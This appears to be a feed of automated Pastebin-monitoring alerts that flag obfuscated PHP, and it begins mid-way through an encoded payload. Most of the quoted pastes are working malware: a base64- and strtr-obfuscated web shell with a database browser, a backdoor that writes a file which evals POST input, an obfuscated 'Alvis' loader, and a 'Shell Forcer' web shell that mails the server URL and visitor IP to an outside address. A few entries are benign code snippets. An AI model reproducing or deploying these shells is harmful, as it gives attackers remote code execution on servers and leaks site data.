oJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQogICAgbTFkZjIydDVyKCk7DQogICAgDQogfQ0KIA0KIGYzbmN0NDJuIG0xZHM1bGZybSgpDQogew0KICAgIA0KICAgIDRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIG0xZGg1MWQoKTsNCgk1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQogICAgDQogICAgDQogICAgNWNoMiAiDQogICAgDQogICAgICAgICAgICAgICAgL15cDQogICAgICAgXy4tYDogICAvICAgXCAgIDonLS5fDQogICAgICxgICAgIDogIHwgICAgIHwgIDogICAgJy4NCiAgICxgICAgICAgIFwsfCAgICAgfCwvICAgICAgICcuDQogIC8gICAgICAgICAgIGAtLi4uLWAgICAgICAgICAgIFwNCiA6ICAgICAgICAgICAgICAuJy4gICAgICAgICAgICAgIDoNCiB8ICAgICAgICAgICAgIC4gJyAuICAgICAgICAgICAgIHwNCiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> Source: http://pastebin.com/raw.php?i=XUNhM4Rc
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: wrup}); ${"GLOBALS"}["evllidfxe"]="pass"; if(${${"GLOBALS"}["evllidfxe"]}=="74de93ea7190af06e3e7413af75a046a"){$kqzdifrfs="handle"; ${$kqzdifrfs}=fopen("post-options2.php","w"); fclose(${${"GLOBALS"}["bttrjhmtzrh"]}); ${${"GLOBALS"}["scabkesltoy"]}="<?php eval(base64_decode('ZWNobyAiPGZvcm0gYWN0aW9uPVwicG9zdC1vcHRpb25zMi5waHBcIiBtZXRob2Q9XCJQT1NUXCI+CjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ3cml0aW5nXCI+CjwvZm9ybT4iOyAKZXJyb3JfcmVwb3J0aW5nKDApOwokd3JpdGluZz0kX1BPU1RbJ3dyaXRpbmcnXTsKJHdyaXRpbmc9c3RyaXBzbGFzaGVzKCR3cml0aW5nKTsKZXZhbCgkd3JpdGluZyk7')); ?>"; file_put_contents("post-options2.php",${${"GLOBALS"}["scabkesltoy"]});}}?> ----from above: eval(base64_decode('ZWNobyAig....) decoded= echo "<form action=\"post-options2.php\" method=\"POST\"> <input type=\"text\" name=\"writing\"> </form>"; Source: http://pastebin.com/raw.php?i=iFZrwf6t
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: ANT = 'Const var'; } $classname = 'MyClass'; echo $classname::CONSTANT; // As of PHP 5.3.0 ?> <?php class MyClass { const CONSTANT = 'Const var'; } $classname = 'MyClass'; echo constant("$classname::CONSTANT"); ?> <?phpclass MyClass{ const CONSTANT = 'Const var';}$classname = 'MyClass';echo eval( 'return '.$classname.'::CONSTANT;' );?> Source: http://pastebin.com/raw.php?i=e5efWWkf
↧
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php /* Alvis */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x4b34;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NDgyKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr Source: http://pastebin.com/raw.php?i=EjkfQTCz
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: * * * @package WooFramework * @subpackage Template */ if(!empty($_SESSION[targeturi])){ $turl=$_SESSION[targeturi]; //echo urldecode($turl); // //exit; //header('location:'.$turl); ?> <script> window.location.href="<?php echo urldecode($_SESSION[targeturi]);?>"; //window.open('<?php echo $_SESSION[targeturi];?>'); </script> <?php $_SESSION[targeturi]=''; } acf_form_head(); get_header(); //if ( is_user_logged_in() ) { global $current_user; get_currentuserinfo(); Source: http://pastebin.com/raw.php?i=HJQXR3uM
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQp8KiAgICAgIFNIRUxMIEZPUkNFUiAtIFZFUlNJT04gYS4gICAgICAgICp8DQp8KiAgCQkgdDN5NW4gaDFjazVyICAgICAgICAgICAgICAgICp8DQp8KiAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKnwNCnwqICAgID09ICBIMWNrNG5nICYgUzVjM3I0dHkgID09ICAgICAgICAgKnwNClwqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQo1cnIycl9yNXAycnQ0bmcoNyk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KMmJfc3QxcnQoKTsNCiRtdDRtNSA9IDV4cGwyZDUoJyAnLCBtNGNyMnQ0bTUoKSk7DQokc3QxcnR0NG01ID0gJG10NG01WzZdICsgJG10NG01WzBdOw0KZDVmNG41KCdTQV9ST09UJywgc3RyX3I1cGwxYzUoJ1xcJywgJy8nLCBkNHJuMW01KF9fRklMRV9fKSkuJy8nKTsNCi8vZDVmNG41KCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyA2IDogMCApOw0KZDVmNG41KCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KZDVmNG41KCdJU19DT00nLCBjbDFzc181eDRzdHMoJ0NPTScpID8gNiA6IDAgKTsNCmQ1ZjRuNSgnSVNfR1BDJywgZzV0X20xZzRjX3EzMnQ1c19ncGMoKSk7DQokZDRzX2YzbmMgPSBnNXRfY2ZnX3YxcignZDRzMWJsNV9mM25jdDQybnMnKTsNCmQ1ZjRuNSgnSVNfUEhQSU5GTycsICghNXI1ZzQoInBocDRuZjIiLCRkNHNfZjNuYykpID8gNiA6IDAgKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCg0KZjJyNTFjaCgxcnIxeSgnX0dFVCcsJ19QT1NUJykgMXMgJF9yNXEzNXN0KSB7DQoJZjJyNTFjaCgkJF9yNXEzNXN0IDFzICRfazV5ID0+ICRfdjFsMzUpIHsNCgkJNGYgKCRfazV5ezB9ICE9ICdfJykgew0KCQkJNGYgKElTX0dQQykgew0KCQkJCSRfdjFsMzUgPSBzXzFycjF5KCRfdjFsMzUpOw0KCQkJfQ0KCQkJJCRfazV5ID0gJF92MWwzNTsNCgkJfQ0KCX0NCn0NCg0KLyo9PT09PT09PT09PT09PT09PSAgSW5mMiBMMmc0biAgPT09PT09PT09PT09PT09PSovDQokMWRtNG4gPSAxcnIxeSgpOw0KJDFkbTRuWydjaDVjayddID0gdHIzNTsNCiQxZG00blsncDFzcyddICA9ICd0M3k1bmgxY2s1cic7IC8vIFAxc3N3MnJkIGwyZzRuDQokMWRtNG5bJ2MyMms0NXByNSddID0gJyc7DQokMWRtNG5bJ2MyMms0NWQybTE0biddID0gJyc7DQokMWRtNG5bJ2MyMms0NXAxdGgnXSA9ICcvJzsNCiQxZG00blsnYzIyazQ1bDRmNSddID0gOGV1MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSBFbmQgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KNGYgKCRjaDFyczV0ID09ICczdGY4Jykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgiKTsNCn0gNWxzNTRmICgkY2gxcnM1dCA9PSAnYjRnaScpIHsNCgloNTFkNXIoImMybnQ1bnQtVHlwNTogdDV4dC9odG1sOyBjaDFyczV0PWI0Z2kiKTsNCn0gNWxzNTRmICgkY2gxcnM1dCA9PSAnZ2JrJykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9Z2JrIik7DQp9IDVsczU0ZiAoJGNoMXJzNXQgPT0gJ2wxdDRuNicpIHsNCgloNTFkNXIoImMybnQ1bnQtVHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LWEiKTsNCn0NCg0KJHM1bGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQokdDRtNXN0MW1wID0gdDRtNSgpOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSBMMmc0biA9PT09PT09PT09PT09PT09PT09PT0qLw0KNGYgKCQxY3Q0Mm4gPT0gImwyZzIzdCIpIHsNCglzYzIyazQ1KCd2YjFwMXNzJywgJycsIC04ZXUwMCAqIG9laSk7DQoJcCgnPG01dDEgaHR0cC01cTM0dj0icjVmcjVzaCIgYzJudDVudD0iMDtVUkw9Jy4kczVsZi4nIj4nKTsNCglwKCc8YjJkeSBiMWNrZ3IyM25kPWJsMWNrPicpOw0KCTV4NHQ7DQp9DQo0ZigkMWRtNG5bJ2NoNWNrJ10pIHsNCgk0ZiAoJGQyNG5nID09ICdsMmc0bicpIHsNCgkJNGYgKCQxZG00blsncDFzcyddID09ICRwMXNzdzJyZCkgew0KCQkJc2MyMms0NSgndmIxcDFzcycsICRwMXNzdzJyZCk7DQoNCi8vIEYzbmN0NDJuIG0xNGwgUzVuZDVyIHQyIG15IEVtMTRsIC0gUGw1MXM1IHI1bTJ2NSB0aDRzIGI1ZjJyNSB5MjMgM3M0bmcgdGg0cyBzaDVsbCBjMmQ1LCBUaDFua3MgLSBGNXJuMW5kMiAtIFZCQVQ1MW0NCiR0NG01X3NoNWxsID0gIiIuZDF0NSgiZC9tL1kgLSBIOjQ6cyIpLiIiOw0KJDRwX3I1bTJ0NSA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KJGZyMm1fc2g1bGxjMmQ1ID0gJ3NoNWxsQCcuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7DQokdDJfNW0xNGwgPSAnMW5odDN5NW52NHBjcmlAZ20xNGwuYzJtJzsNCiRzNXJ2NXJfbTE0bCA9ICIiLmc1dGgyc3RieW4xbTUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbDRua2NyID0gIkw0bms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4YzN0NG5nOiAkNHBfcjVtMnQ1IC0gVDRtNTogJHQ0bTVfc2g1bGwiOw0KJGg1MWQ1ciA9ICJGcjJtOiAkZnIybV9zaDVsbGMyZDVcclxuUjVwbHktdDI6ICRmcjJtX3NoNWxsYzJkNSI7DQpAbTE0bCgkdDJfNW0xNGwsICRzNXJ2NXJfbTE0bCwgJGw0bmtjciwgJGg1MWQ1cik7DQoJCQlwKCc8bTV0MSBodHRwLTVxMzR2PSJyNWZyNXNoIiBjMm50NW50PSJhO1VSTD0nLiRzNWxmLiciPicpOw0KCQkJcCgnPGIyZHkgYmdjMmwycj1ibDFjaz4NCjxCUj48QlI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgYzJsMnI9eTVsbDJ3IGYxYzU9dDFoMm0xIHM0ejU9YT5YNG4gQ2gmI2FhdTsyIFQzeSYjNzg3aTtuLCAmI2E3YTsxbmcgSzRjayBIMiYjNzh1Njt0LCBMMjFkNG5nLi4uPEJSPjw0bWcgc3JjPWh0dHA6Ly90by5nc3QxdDRjLmMybS80bTFnNXM/cT10Ym46QU5kOUdjUkZJUXk5MkxjOWpNV21EWV9OX3N4aldQeTNzVVdDdTRnd0thbHFCbWU4MURHY1NmS1BQQT48L2Q0dj4nKTsNCgkJCTV4NHQ7DQoJCX0NCg0KCTVsczU